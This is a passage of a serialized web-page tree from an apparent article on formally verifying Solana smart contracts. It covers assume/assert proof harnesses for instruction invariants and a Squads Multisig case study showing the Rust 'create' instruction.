(",{"type":23,"tag":38,"props":20829,"children":20831},{"className":20830},[2658,2659],[20832],{"type":23,"tag":141,"props":20833,"children":20835},{"className":20834},[2664],[20836],{"type":23,"tag":141,"props":20837,"children":20839},{"className":20838,"ariaHidden":2670},[2669],[20840],{"type":23,"tag":141,"props":20841,"children":20843},{"className":20842},[2675],[20844,20848,20854],{"type":23,"tag":141,"props":20845,"children":20847},{"className":20846,"style":20255},[2680],[],{"type":23,"tag":141,"props":20849,"children":20851},{"className":20850},[2686],[20852],{"type":29,"value":20853},"¬",{"type":23,"tag":141,"props":20855,"children":20857},{"className":20856,"style":20792},[2686,20260],[20858],{"type":29,"value":20795},{"type":29,"value":20860},") or the account post-invariants should hold (",{"type":23,"tag":38,"props":20862,"children":20864},{"className":20863},[2658,2659],[20865],{"type":23,"tag":141,"props":20866,"children":20868},{"className":20867},[2664],[20869],{"type":23,"tag":141,"props":20870,"children":20872},{"className":20871,"ariaHidden":2670},[2669],[20873],{"type":23,"tag":141,"props":20874,"children":20876},{"className":20875},[2675],[20877,20881,20886],{"type":23,"tag":141,"props":20878,"children":20880},{"className":20879,"style":20255},[2680],[],{"type":23,"tag":141,"props":20882,"children":20884},{"className":20883,"style":20261},[2686,20260],[20885],{"type":29,"value":20264},{"type":23,"tag":141,"props":20887,"children":20889},{"className":20888},[2686],[20890],{"type":29,"value":687},{"type":29,"value":20892},"). Furthermore, we can assume that before executing a function, the account pre-invariants (",{"type":23,"tag":38,"props":20894,"children":20896},{"className":20895},[2658,2659],[20897],{"type":23,"tag":141,"props":20898,"children":20900},{"className":20899},[2664],[20901],{"type":23,"tag":141,"props":20902,"children":20904},{"className":20903,"ariaHidden":2670},[2669],[20905],{"type":23,"tag":141,"props":20906,"children":20908},{"className":20907},[2675],[20909,20913,20918],{"type":23,"tag":141,"props":20910,"children":20912},{"className":20911,"style":20255},[2680],[],{"type":23,"tag":141,"props":20914,"children":20916},{"className":20915,"style":20261},[2686,20260],[20917],{"type":29,"value":20264},{"type":23,"tag":141,"props":20919,"children":20921},{"className":20920},[2686],[20922],{"type":29,"value":2698},{"type":29,"value":20924},") should hold since we will verify all of the functions eventually.",{"type":23,"tag":32,"props":20926,"children":20927},{},[20928,20930],{"type":29,"value":20929},"So we are trying to prove that ",{"type":23,"tag":38,"props":20931,"children":20933},{"className":20932},[2658,2659],[20934],{"type":23,"tag":141,"props":20935,"children":20937},{"className":20936},[2664],[20938],{"type":23,"tag":141,"props":20939,"children":20941},{"className":20940,"ariaHidden":2670},[2669],[20942,20979,21011],{"type":23,"tag":141,"props":20943,"children":20945},{"className":20944},[2675],[20946,20950,20955,20960,20965,20969,20975],{"type":23,"tag":141,"props":20947,"children":20949},{"className":20948,"style":2787},[2680],[],{"type":23,"tag":141,"props":20951,"children":20953},{"className":20952},[20389],[20954],{"type":29,"value":192},{"type":23,"tag":141,"props":20956,"children":20958},{"className":20957,"style":20261},[2686,20260],[20959],{"type":29,"value":20264},{"type":23,"tag":141,"props":20961,"children":20963},{"className":20962},[2686],[20964],{"type":29,"value":2698},{"type":23,"tag":141,"props":20966,"children":20968},{"className":20967,"style":2767},[2766],[],{"type":23,"tag":141,"props":20970,"children":20972},{"className":20971},[2772],[20973],{"type":29,"value":20974},"∧",{"type":23,"tag":141,"props":20976,"children":20978},{"className":20977,"style":2767},[2766],[],{"type":23,"tag":141,"props":20980,"children":20982},{"className":20981},[2675],[20983,20987,20992,20997,21001,21007],{"type":23,"tag":141,"props":20984,"children":20986},{"className":20985,"style":2787},[2680],[],{"type":23,"tag":141,"props":20988,"children":20990},{"className":20989,"style":20792},[2686,20260],[20991],{"type":29,"value":20795},{"type":23,"tag":141,"props":20993,"children":20995},{"className":20994},[20411],[20996],{"type":29,"value":1788},{"type":23,"tag":141,"props":20998,"children":21000},{"className":20999,"style":2863},[2766],[],{"type":23,"tag":141,"props":21002,"children":21004},{"className":21003},[2868],[21005],{"type":29,"value":21006},"→",{"type":23,"tag":141,"props":21008,"children":21010},{"className":21009,"style":2863},[2766],[],{"type":23,"tag":141,"props":21012,"children":21014},{"className":21013},[2675],[21015,21019,21024],{"type":23,"tag":141,"props":21016,"children":21018},{"className":21017,"style":20255},[2680],[],{"type":23,"tag":141,"props":21020,"children":21022},{"className":21021,"style":20261},[2686,20260],[21023],{"type":29,"value":20264},{"type":23,"tag":141,"props":21025,"children":21027},{"className":21026},[2686],[21028],{"type":29,"value":687},{"type":23,"tag":32,"props":21030,"children":21031},{},[21032],{"type":29,"value":21033},"We can construct a proof harness like the following:",{"type":23,"tag":131,"props":21035,"children":21037},{"code":21036,"language":18132,"meta":7,"className":18133,"style":7},"assume(P0)\nres = instruction_handler(...)\nassert(!K || P1)\n",[21038],{"type":23,"tag":38,"props":21039,"children":21040},{"__ignoreMap":7},[21041,21049,21066],{"type":23,"tag":141,"props":21042,"children":21043},{"class":143,"line":144},[21044],{"type":23,"tag":141,"props":21045,"children":21046},{"style":154},[21047],{"type":29,"value":21048},"assume(P0)\n",{"type":23,"tag":141,"props":21050,"children":21051},{"class":143,"line":180},[21052,21057,21061],{"type":23,"tag":141,"props":21053,"children":21054},{"style":154},[21055],{"type":29,"value":21056},"res ",{"type":23,"tag":141,"props":21058,"children":21059},{"style":160},[21060],{"type":29,"value":1377},{"type":23,"tag":141,"props":21062,"children":21063},{"style":154},[21064],{"type":29,"value":21065}," instruction_handler(...)\n",{"type":23,"tag":141,"props":21067,"children":21068},{"class":143,"line":205},[21069,21073,21077,21082,21087,21091],{"type":23,"tag":141,"props":21070,"children":21071},{"style":148},[21072],{"type":29,"value":18655},{"type":23,"tag":141,"props":21074,"children":21075},{"style":154},[21076],{"type":29,"value":192},{"type":23,"tag":141,"props":21078,"children":21080},{"style":21079},"--shiki-default:#F44747",[21081],{"type":29,"value":19293},{"type":23,"tag":141,"props":21083,"children":21084},{"style":154},[21085],{"type":29,"value":21086},"K ",{"type":23,"tag":141,"props":21088,"children":21089},{"style":21079},[21090],{"type":29,"value":163},{"type":23,"tag":141,"props":21092,"children":21093},{"style":154},[21094],{"type":29,"value":21095}," P1)\n",{"type":23,"tag":32,"props":21097,"children":21098},{},[21099],{"type":29,"value":21100},"By itself, this harness doesn't actually prove much. For example, if the instruction fails every time, this proof will still work. However, in conjunction with the two subsequent proofs we can be assured that the instruction will actually succeed when we expect it to.",{"type":23,"tag":8287,"props":21102,"children":21104},{"id":21103},"positive-instruction-invariant",[21105],{"type":29,"value":21106},"Positive instruction invariant",{"type":23,"tag":32,"props":21108,"children":21109},{},[21110,21112,21118,21120,21171],{"type":29,"value":21111},"Next we need to prove that ",{"type":23,"tag":38,"props":21113,"children":21115},{"className":21114},[],[21116],{"type":29,"value":21117},"success_if",{"type":29,"value":21119}," is a sufficient condition for instruction success. I.e. ",{"type":23,"tag":38,"props":21121,"children":21123},{"className":21122},[2658,2659],[21124],{"type":23,"tag":141,"props":21125,"children":21127},{"className":21126},[2664],[21128],{"type":23,"tag":141,"props":21129,"children":21131},{"className":21130,"ariaHidden":2670},[2669],[21132,21158],{"type":23,"tag":141,"props":21133,"children":21135},{"className":21134},[2675],[21136,21140,21145,21149,21154],{"type":23,"tag":141,"props":21137,"children":21139},{"className":21138,"style":20255},[2680],[],{"type":23,"tag":141,"props":21141,"children":21143},{"className":21142,"style":20719},[2686,20260],[21144],{"type":29,"value":20722},{"type":23,"tag":141,"props":21146,"children":21148},{"className":21147,"style":2863},[2766],[],{"type":23,"tag":141,"props":21150,"children":21152},{"className":21151},[2868],[21153],{"type":29,"value":21006},{"type":23,"tag":141,"props":21155,"children":21157},{"className":21156,"style":2863},[2766],[],{"type":23,"tag":141,"props":21159,"children":21161},{"className":21160},[2675],[21162,21166],{"type":23,"tag":141,"props":21163,"children":21165},{"className":21164,"style":20255},[2680],[],{"type":23,"tag":141,"props":21167,"children":21169},{"className":21168,"style":20792},[2686,20260],[21170],{"type":29,"value":20795},{"type":29,"value":322},{"type":23,"tag":32,"props":21173,"children":21174},{},[21175],{"type":29,"value":21176},"Just like before we can construct a proof harness:",{"type":23,"tag":131,"props":21178,"children":21180},{"code":21179,"language":18132,"meta":7,"className":18133,"style":7},"assume(S)\nres = instruction_handler(...)\nassert(K)\n",[21181],{"type":23,"tag":38,"props":21182,"children":21183},{"__ignoreMap":7},[21184,21192,21207],{"type":23,"tag":141,"props":21185,"children":21186},{"class":143,"line":144},[21187],{"type":23,"tag":141,"props":21188,"children":21189},{"style":154},[21190],{"type":29,"value":21191},"assume(S)\n",{"type":23,"tag":141,"props":21193,"children":21194},{"class":143,"line":180},[21195,21199,21203],{"type":23,"tag":141,"props":21196,"children":21197},{"style":154},[21198],{"type":29,"value":21056},{"type":23,"tag":141,"props":21200,"children":21201},{"style":160},[21202],{"type":29,"value":1377},{"type":23,"tag":141,"props":21204,"children":21205},{"style":154},[21206],{"type":29,"value":21065},{"type":23,"tag":141,"props":21208,"children":21209},{"class":143,"line":205},[21210,21214],{"type":23,"tag":141,"props":21211,"children":21212},{"style":148},[21213],{"type":29,"value":18655},{"type":23,"tag":141,"props":21215,"children":21216},{"style":154},[21217],{"type":29,"value":21218},"(K)\n",{"type":23,"tag":32,"props":21220,"children":21221},{},[21222,21224,21229,21231,21243],{"type":29,"value":21223},"This proof assures that whenever ",{"type":23,"tag":38,"props":21225,"children":21227},{"className":21226},[],[21228],{"type":29,"value":18826},{"type":29,"value":21230}," is satisfied, the instruction will succeed. However, remember that since this is not a biconditional, the instruction may also succeed ",{"type":23,"tag":47,"props":21232,"children":21233},{},[21234,21236,21241],{"type":29,"value":21235},"even if ",{"type":23,"tag":38,"props":21237,"children":21239},{"className":21238},[],[21240],{"type":29,"value":18826},{"type":29,"value":21242}," is not satisfied",{"type":29,"value":21244},". To specify explicit error conditions we need our third and final proof.",{"type":23,"tag":8287,"props":21246,"children":21248},{"id":21247},"_3-negative-instruction-invariant",[21249],{"type":29,"value":21250},"3. Negative instruction invariant",{"type":23,"tag":32,"props":21252,"children":21253},{},[21254,21256,21261,21263,21319],{"type":29,"value":21255},"Finally, we want to prove that ",{"type":23,"tag":38,"props":21257,"children":21259},{"className":21258},[],[21260],{"type":29,"value":18833},{"type":29,"value":21262}," is a sufficient condition for instruction failure. I.e. ",{"type":23,"tag":38,"props":21264,"children":21266},{"className":21265},[2658,2659],[21267],{"type":23,"tag":141,"props":21268,"children":21270},{"className":21269},[2664],[21271],{"type":23,"tag":141,"props":21272,"children":21274},{"className":21273,"ariaHidden":2670},[2669],[21275,21301],{"type":23,"tag":141,"props":21276,"children":21278},{"className":21277},[2675],[21279,21283,21288,21292,21297],{"type":23,"tag":141,"props":21280,"children":21282},{"className":21281,"style":20255},[2680],[],{"type":23,"tag":141,"props":21284,"children":21286},{"className":21285,"style":20719},[2686,20260],[21287],{"type":29,"value":20757},{"type":23,"tag":141,"props":21289,"children":21291},{"className":21290,"style":2863},[2766],[],{"type":23,"tag":141,"props":21293,"children":21295},{"className":21294},[2868],[21296],{"type":29,"value":21006},{"type":23,"tag":141,"props":21298,"children":21300},{"className":21299,"style":2863},[2766],[],{"type":23,"tag":141,"props":21302,"children":21304},{"className":21303},[2675],[21305,21309,21314],{"type":23,"tag":141,"props":21306,"children":21308},{"className":21307,"style":20255},[2680],[],{"type":23,"tag":141,"props":21310,"children":21312},{"className":21311},[2686],[21313],{"type":29,"value":20853},{"type":23,"tag":141,"props":21315,"children":21317},{"className":21316,"style":20792},[2686,20260],[21318],{"type":29,"value":20795},{"type":29,"value":322},{"type":23,"tag":32,"props":21321,"children":21322},{},[21323],{"type":29,"value":21324},"This harness looks just like the previous one:",{"type":23,"tag":131,"props":21326,"children":21328},{"code":21327,"language":18132,"meta":7,"className":18133,"style":7},"assume(E)\nres = instruction_handler(...)\nassert(!K)\n",[21329],{"type":23,"tag":38,"props":21330,"children":21331},{"__ignoreMap":7},[21332,21340,21355],{"type":23,"tag":141,"props":21333,"children":21334},{"class":143,"line":144},[21335],{"type":23,"tag":141,"props":21336,"children":21337},{"style":154},[21338],{"type":29,"value":21339},"assume(E)\n",{"type":23,"tag":141,"props":21341,"children":21342},{"class":143,"line":180},[21343,21347,21351],{"type":23,"tag":141,"props":21344,"children":21345},{"style":154},[21346],{"type":29,"value":21056},{"type":23,"tag":141,"props":21348,"children":21349},{"style":160},[21350],{"type":29,"value":1377},{"type":23,"tag":141,"props":21352,"children":21353},{"style":154},[21354],{"type":29,"value":21065},{"type":23,"tag":141,"props":21356,"children":21357},{"class":143,"line":205},[21358,21362,21366,21370],{"type":23,"tag":141,"props":21359,"children":21360},{"style":148},[21361],{"type":29,"value":18655},{"type":23,"tag":141,"props":21363,"children":21364},{"style":154},[21365],{"type":29,"value":192},{"type":23,"tag":141,"props":21367,"children":21368},{"style":21079},[21369],{"type":29,"value":19293},{"type":23,"tag":141,"props":21371,"children":21372},{"style":154},[21373],{"type":29,"value":21374},"K)\n",{"type":23,"tag":32,"props":21376,"children":21377},{},[21378,21380,21384],{"type":29,"value":21379},"With these three harnesses, we are now able to formally verify that instructions succeed or fail when we expect them to ",{"type":23,"tag":47,"props":21381,"children":21382},{},[21383],{"type":29,"value":15048},{"type":29,"value":21385}," the account invariants we expect are always being preserved.",{"type":23,"tag":24,"props":21387,"children":21389},{"id":21388},"case-study-squads-multisig",[21390],{"type":29,"value":21391},"Case study: Squads Multisig",{"type":23,"tag":32,"props":21393,"children":21394},{},[21395,21397,21402],{"type":29,"value":21396},"During our research, we focused on formally verifying aspects of the ",{"type":23,"tag":55,"props":21398,"children":21400},{"href":17494,"rel":21399},[59],[21401],{"type":29,"value":17498},{"type":29,"value":322},{"type":23,"tag":32,"props":21404,"children":21405},{},[21406,21408,21414,21416,21422],{"type":29,"value":21407},"The program defines a Multisig account (",{"type":23,"tag":38,"props":21409,"children":21411},{"className":21410},[],[21412],{"type":29,"value":21413},"Ms",{"type":29,"value":21415},") which has multiple members. These members can propose and then vote on transactions to execute on behalf of the multisig. If at least some ",{"type":23,"tag":38,"props":21417,"children":21419},{"className":21418},[],[21420],{"type":29,"value":21421},"threshold",{"type":29,"value":21423}," of members vote yes, the transaction will be invoked. Additionally, there is functionality to add/remove users and update the threshold.",{"type":23,"tag":32,"props":21425,"children":21426},{},[21427],{"type":29,"value":21428},"In practice, this structure provides a useful way to distribute authority across a group of individuals. From a formal verification perspective, it has both stateless and stateful features and constraints that provided a good testbed for our tooling.",{"type":23,"tag":32,"props":21430,"children":21431},{},[21432],{"type":29,"value":21433},"In this section we will go through a few examples of properties that we can verify on this program:",{"type":23,"tag":116,"props":21435,"children":21436},{},[21437,21442,21447,21452],{"type":23,"tag":120,"props":21438,"children":21439},{},[21440],{"type":29,"value":21441},"Incrementally verifying minimum requirements to create a multisig",{"type":23,"tag":120,"props":21443,"children":21444},{},[21445],{"type":29,"value":21446},"Verify threshold requirements",{"type":23,"tag":120,"props":21448,"children":21449},{},[21450],{"type":29,"value":21451},"Verify requirements to remove a member",{"type":23,"tag":120,"props":21453,"children":21454},{},[21455],{"type":29,"value":21456},"Safety guarantees",{"type":23,"tag":8287,"props":21458,"children":21460},{"id":21459},"_1-incrementally-verifying-minimum-requirements-to-create-a-multisig",[21461],{"type":29,"value":21462},"1. Incrementally verifying minimum requirements to create a multisig",{"type":23,"tag":32,"props":21464,"children":21465},{},[21466,21468,21473],{"type":29,"value":21467},"Suppose we want to verify the minimum requirements to create a multisig, i.e. the ",{"type":23,"tag":38,"props":21469,"children":21471},{"className":21470},[],[21472],{"type":29,"value":18826},{"type":29,"value":21474}," expression.",{"type":23,"tag":32,"props":21476,"children":21477},{},[21478,21480,21485,21487,21493],{"type":29,"value":21479},"Creating a multisig (",{"type":23,"tag":38,"props":21481,"children":21483},{"className":21482},[],[21484],{"type":29,"value":21413},{"type":29,"value":21486},") requires invoking the ",{"type":23,"tag":38,"props":21488,"children":21490},{"className":21489},[],[21491],{"type":29,"value":21492},"create",{"type":29,"value":21494}," instruction:",{"type":23,"tag":131,"props":21496,"children":21498},{"code":21497,"language":1638,"meta":7,"className":1639,"style":7},"#[derive(Accounts)]\n#[instruction(threshold: u16, create_key: Pubkey, members: Vec\u003CPubkey>)]\npub struct Create\u003C'info> {\n #[account(\n init,\n payer = creator,\n space = Ms::SIZE_WITHOUT_MEMBERS + (members.len() * 32),\n seeds = [b\"squad\", create_key.as_ref(), b\"multisig\"], bump\n )]\n pub multisig: Account\u003C'info, Ms>,\n\n #[account(mut)]\n pub creator: Signer\u003C'info>,\n pub system_program: Program\u003C'info, System>,\n}\n\npub fn create(\n ctx: Context\u003CCreate>,\n threshold: u16,\n create_key: Pubkey,\n members: Vec\u003CPubkey>,\n) -> Result\u003C()> {\n // sort the members and remove duplicates\n let mut members = members;\n members.sort();\n members.dedup();\n\n // check we don't exceed u16\n let total_members = members.len();\n if total_members \u003C 1 {\n return err!(MsError::EmptyMembers);\n }\n\n // make sure we don't exceed u16 on first call\n if total_members > usize::from(u16::MAX) {\n return err!(MsError::MaxMembersReached);\n }\n\n // make sure threshold is valid\n if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n return err!(MsError::InvalidThreshold);\n }\n\n ctx.accounts.multisig.init(\n threshold,\n create_key,\n members,\n *ctx.bumps.get(\"multisig\").unwrap(),\n )\n}\n",[21499],{"type":23,"tag":38,"props":21500,"children":21501},{"__ignoreMap":7},[21502,21519,21574,21604,21612,21620,21637,21688,21738,21746,21787,21794,21810,21843,21885,21892,21899,21918,21946,21966,21986,22014,22033,22041,22069,22089,22109,22116,22124,22156,22179,22214,22222,22230,22239,22281,22314,22322,22330,22339,22415,22448,22456,22464,22501,22514,22527,22540,22594,22603],{"type":23,"tag":141,"props":21503,"children":21504},{"class":143,"line":144},[21505,21510,21515],{"type":23,"tag":141,"props":21506,"children":21507},{"style":154},[21508],{"type":29,"value":21509},"#[derive(",{"type":23,"tag":141,"props":21511,"children":21512},{"style":725},[21513],{"type":29,"value":21514},"Accounts",{"type":23,"tag":141,"props":21516,"children":21517},{"style":154},[21518],{"type":29,"value":18930},{"type":23,"tag":141,"props":21520,"children":21521},{"class":143,"line":180},[21522,21527,21531,21535,21540,21544,21548,21553,21557,21561,21565,21569],{"type":23,"tag":141,"props":21523,"children":21524},{"style":154},[21525],{"type":29,"value":21526},"#[instruction(threshold",{"type":23,"tag":141,"props":21528,"children":21529},{"style":160},[21530],{"type":29,"value":114},{"type":23,"tag":141,"props":21532,"children":21533},{"style":725},[21534],{"type":29,"value":19702},{"type":23,"tag":141,"props":21536,"children":21537},{"style":154},[21538],{"type":29,"value":21539},", create_key",{"type":23,"tag":141,"props":21541,"children":21542},{"style":160},[21543],{"type":29,"value":114},{"type":23,"tag":141,"props":21545,"children":21546},{"style":725},[21547],{"type":29,"value":19529},{"type":23,"tag":141,"props":21549,"children":21550},{"style":154},[21551],{"type":29,"value":21552},", members",{"type":23,"tag":141,"props":21554,"children":21555},{"style":160},[21556],{"type":29,"value":114},{"type":23,"tag":141,"props":21558,"children":21559},{"style":725},[21560],{"type":29,"value":20061},{"type":23,"tag":141,"props":21562,"children":21563},{"style":154},[21564],{"type":29,"value":4480},{"type":23,"tag":141,"props":21566,"children":21567},{"style":725},[21568],{"type":29,"value":20070},{"type":23,"tag":141,"props":21570,"children":21571},{"style":154},[21572],{"type":29,"value":21573},">)]\n",{"type":23,"tag":141,"props":21575,"children":21576},{"class":143,"line":205},[21577,21581,21585,21590,21595,21600],{"type":23,"tag":141,"props":21578,"children":21579},{"style":449},[21580],{"type":29,"value":12368},{"type":23,"tag":141,"props":21582,"children":21583},{"style":449},[21584],{"type":29,"value":19823},{"type":23,"tag":141,"props":21586,"children":21587},{"style":725},[21588],{"type":29,"value":21589}," Create",{"type":23,"tag":141,"props":21591,"children":21592},{"style":154},[21593],{"type":29,"value":21594},"\u003C'",{"type":23,"tag":141,"props":21596,"children":21597},{"style":725},[21598],{"type":29,"value":21599},"info",{"type":23,"tag":141,"props":21601,"children":21602},{"style":154},[21603],{"type":29,"value":5955},{"type":23,"tag":141,"props":21605,"children":21606},{"class":143,"line":218},[21607],{"type":23,"tag":141,"props":21608,"children":21609},{"style":154},[21610],{"type":29,"value":21611}," #[account(\n",{"type":23,"tag":141,"props":21613,"children":21614},{"class":143,"line":227},[21615],{"type":23,"tag":141,"props":21616,"children":21617},{"style":154},[21618],{"type":29,"value":21619}," init,\n",{"type":23,"tag":141,"props":21621,"children":21622},{"class":143,"line":241},[21623,21628,21632],{"type":23,"tag":141,"props":21624,"children":21625},{"style":154},[21626],{"type":29,"value":21627}," payer ",{"type":23,"tag":141,"props":21629,"children":21630},{"style":160},[21631],{"type":29,"value":1377},{"type":23,"tag":141,"props":21633,"children":21634},{"style":154},[21635],{"type":29,"value":21636}," creator,\n",{"type":23,"tag":141,"props":21638,"children":21639},{"class":143,"line":262},[21640,21645,21649,21653,21657,21662,21666,21671,21675,21679,21683],{"type":23,"tag":141,"props":21641,"children":21642},{"style":154},[21643],{"type":29,"value":21644}," space ",{"type":23,"tag":141,"props":21646,"children":21647},{"style":160},[21648],{"type":29,"value":1377},{"type":23,"tag":141,"props":21650,"children":21651},{"style":725},[21652],{"type":29,"value":19828},{"type":23,"tag":141,"props":21654,"children":21655},{"style":160},[21656],{"type":29,"value":2141},{"type":23,"tag":141,"props":21658,"children":21659},{"style":725},[21660],{"type":29,"value":21661},"SIZE_WITHOUT_MEMBERS",{"type":23,"tag":141,"props":21663,"children":21664},{"style":160},[21665],{"type":29,"value":7581},{"type":23,"tag":141,"props":21667,"children":21668},{"style":154},[21669],{"type":29,"value":21670}," (members",{"type":23,"tag":141,"props":21672,"children":21673},{"style":160},[21674],{"type":29,"value":322},{"type":23,"tag":141,"props":21676,"children":21677},{"style":154},[21678],{"type":29,"value":19693},{"type":23,"tag":141,"props":21680,"children":21681},{"style":160},[21682],{"type":29,"value":197},{"type":23,"tag":141,"props":21684,"children":21685},{"style":154},[21686],{"type":29,"value":21687}," 32),\n",{"type":23,"tag":141,"props":21689,"children":21690},{"class":143,"line":271},[21691,21696,21700,21705,21710,21714,21718,21723,21728,21733],{"type":23,"tag":141,"props":21692,"children":21693},{"style":154},[21694],{"type":29,"value":21695}," seeds ",{"type":23,"tag":141,"props":21697,"children":21698},{"style":160},[21699],{"type":29,"value":1377},{"type":23,"tag":141,"props":21701,"children":21702},{"style":154},[21703],{"type":29,"value":21704}," [",{"type":23,"tag":141,"props":21706,"children":21707},{"style":828},[21708],{"type":29,"value":21709},"b\"squad\"",{"type":23,"tag":141,"props":21711,"children":21712},{"style":154},[21713],{"type":29,"value":21539},{"type":23,"tag":141,"props":21715,"children":21716},{"style":160},[21717],{"type":29,"value":322},{"type":23,"tag":141,"props":21719,"children":21720},{"style":154},[21721],{"type":29,"value":21722},"as_ref(), ",{"type":23,"tag":141,"props":21724,"children":21725},{"style":828},[21726],{"type":29,"value":21727},"b\"multisig\"",{"type":23,"tag":141,"props":21729,"children":21730},{"style":154},[21731],{"type":29,"value":21732},"], ",{"type":23,"tag":141,"props":21734,"children":21735},{"style":750},[21736],{"type":29,"value":21737},"bump\n",{"type":23,"tag":141,"props":21739,"children":21740},{"class":143,"line":293},[21741],{"type":23,"tag":141,"props":21742,"children":21743},{"style":154},[21744],{"type":29,"value":21745}," )]\n",{"type":23,"tag":141,"props":21747,"children":21748},{"class":143,"line":801},[21749,21753,21758,21762,21767,21771,21775,21779,21783],{"type":23,"tag":141,"props":21750,"children":21751},{"style":449},[21752],{"type":29,"value":19515},{"type":23,"tag":141,"props":21754,"children":21755},{"style":750},[21756],{"type":29,"value":21757}," multisig",{"type":23,"tag":141,"props":21759,"children":21760},{"style":160},[21761],{"type":29,"value":114},{"type":23,"tag":141,"props":21763,"children":21764},{"style":725},[21765],{"type":29,"value":21766}," Account",{"type":23,"tag":141,"props":21768,"children":21769},{"style":154},[21770],{"type":29,"value":21594},{"type":23,"tag":141,"props":21772,"children":21773},{"style":725},[21774],{"type":29,"value":21599},{"type":23,"tag":141,"props":21776,"children":21777},{"style":154},[21778],{"type":29,"value":480},{"type":23,"tag":141,"props":21780,"children":21781},{"style":725},[21782],{"type":29,"value":21413},{"type":23,"tag":141,"props":21784,"children":21785},{"style":154},[21786],{"type":29,"value":4812},{"type":23,"tag":141,"props":21788,"children":21789},{"class":143,"line":810},[21790],{"type":23,"tag":141,"props":21791,"children":21792},{"emptyLinePlaceholder":15},[21793],{"type":29,"value":719},{"type":23,"tag":141,"props":21795,"children":21796},{"class":143,"line":824},[21797,21802,21806],{"type":23,"tag":141,"props":21798,"children":21799},{"style":154},[21800],{"type":29,"value":21801}," #[account(",{"type":23,"tag":141,"props":21803,"children":21804},{"style":449},[21805],{"type":29,"value":2389},{"type":23,"tag":141,"props":21807,"children":21808},{"style":154},[21809],{"type":29,"value":18930},{"type":23,"tag":141,"props":21811,"children":21812},{"class":143,"line":839},[21813,21817,21822,21826,21831,21835,21839],{"type":23,"tag":141,"props":21814,"children":21815},{"style":449},[21816],{"type":29,"value":19515},{"type":23,"tag":141,"props":21818,"children":21819},{"style":750},[21820],{"type":29,"value":21821}," creator",{"type":23,"tag":141,"props":21823,"children":21824},{"style":160},[21825],{"type":29,"value":114},{"type":23,"tag":141,"props":21827,"children":21828},{"style":725},[21829],{"type":29,"value":21830}," Signer",{"type":23,"tag":141,"props":21832,"children":21833},{"style":154},[21834],{"type":29,"value":21594},{"type":23,"tag":141,"props":21836,"children":21837},{"style":725},[21838],{"type":29,"value":21599},{"type":23,"tag":141,"props":21840,"children":21841},{"style":154},[21842],{"type":29,"value":4812},{"type":23,"tag":141,"props":21844,"children":21845},{"class":143,"line":848},[21846,21850,21855,21859,21864,21868,21872,21876,21881],{"type":23,"tag":141,"props":21847,"children":21848},{"style":449},[21849],{"type":29,"value":19515},{"type":23,"tag":141,"props":21851,"children":21852},{"style":750},[21853],{"type":29,"value":21854}," system_program",{"type":23,"tag":141,"props":21856,"children":21857},{"style":160},[21858],{"type":29,"value":114},{"type":23,"tag":141,"props":21860,"children":21861},{"style":725},[21862],{"type":29,"value":21863}," Program",{"type":23,"tag":141,"props":21865,"children":21866},{"style":154},[21867],{"type":29,"value":21594},{"type":23,"tag":141,"props":21869,"children":21870},{"style":725},[21871],{"type":29,"value":21599},{"type":23,"tag":141,"props":21873,"children":21874},{"style":154},[21875],{"type":29,"value":480},{"type":23,"tag":141,"props":21877,"children":21878},{"style":725},[21879],{"type":29,"value":21880},"System",{"type":23,"tag":141,"props":21882,"children":21883},{"style":154},[21884],{"type":29,"value":4812},{"type":23,"tag":141,"props":21886,"children":21887},{"class":143,"line":2304},[21888],{"type":23,"tag":141,"props":21889,"children":21890},{"style":154},[21891],{"type":29,"value":2573},{"type":23,"tag":141,"props":21893,"children":21894},{"class":143,"line":2313},[21895],{"type":23,"tag":141,"props":21896,"children":21897},{"emptyLinePlaceholder":15},[21898],{"type":29,"value":719},{"type":23,"tag":141,"props":21900,"children":21901},{"class":143,"line":2335},[21902,21906,21910,21914],{"type":23,"tag":141,"props":21903,"children":21904},{"style":449},[21905],{"type":29,"value":12368},{"type":23,"tag":141,"props":21907,"children":21908},{"style":449},[21909],{"type":29,"value":12373},{"type":23,"tag":141,"props":21911,"children":21912},{"style":184},[21913],{"type":29,"value":5786},{"type":23,"tag":141,"props":21915,"children":21916},{"style":154},[21917],{"type":29,"value":2123},{"type":23,"tag":141,"props":21919,"children":21920},{"class":143,"line":2343},[21921,21925,21929,21933,21937,21942],{"type":23,"tag":141,"props":21922,"children":21923},{"style":750},[21924],{"type":29,"value":18895},{"type":23,"tag":141,"props":21926,"children":21927},{"style":160},[21928],{"type":29,"value":114},{"type":23,"tag":141,"props":21930,"children":21931},{"style":725},[21932],{"type":29,"value":18961},{"type":23,"tag":141,"props":21934,"children":21935},{"style":154},[21936],{"type":29,"value":4480},{"type":23,"tag":141,"props":21938,"children":21939},{"style":725},[21940],{"type":29,"value":21941},"Create",{"type":23,"tag":141,"props":21943,"children":21944},{"style":154},[21945],{"type":29,"value":4812},{"type":23,"tag":141,"props":21947,"children":21948},{"class":143,"line":2352},[21949,21954,21958,21962],{"type":23,"tag":141,"props":21950,"children":21951},{"style":750},[21952],{"type":29,"value":21953}," threshold",{"type":23,"tag":141,"props":21955,"children":21956},{"style":160},[21957],{"type":29,"value":114},{"type":23,"tag":141,"props":21959,"children":21960},{"style":725},[21961],{"type":29,"value":19702},{"type":23,"tag":141,"props":21963,"children":21964},{"style":154},[21965],{"type":29,"value":2168},{"type":23,"tag":141,"props":21967,"children":21968},{"class":143,"line":2421},[21969,21974,21978,21982],{"type":23,"tag":141,"props":21970,"children":21971},{"style":750},[21972],{"type":29,"value":21973}," create_key",{"type":23,"tag":141,"props":21975,"children":21976},{"style":160},[21977],{"type":29,"value":114},{"type":23,"tag":141,"props":21979,"children":21980},{"style":725},[21981],{"type":29,"value":19529},{"type":23,"tag":141,"props":21983,"children":21984},{"style":154},[21985],{"type":29,"value":2168},{"type":23,"tag":141,"props":21987,"children":21988},{"class":143,"line":2429},[21989,21994,21998,22002,22006,22010],{"type":23,"tag":141,"props":21990,"children":21991},{"style":750},[21992],{"type":29,"value":21993}," 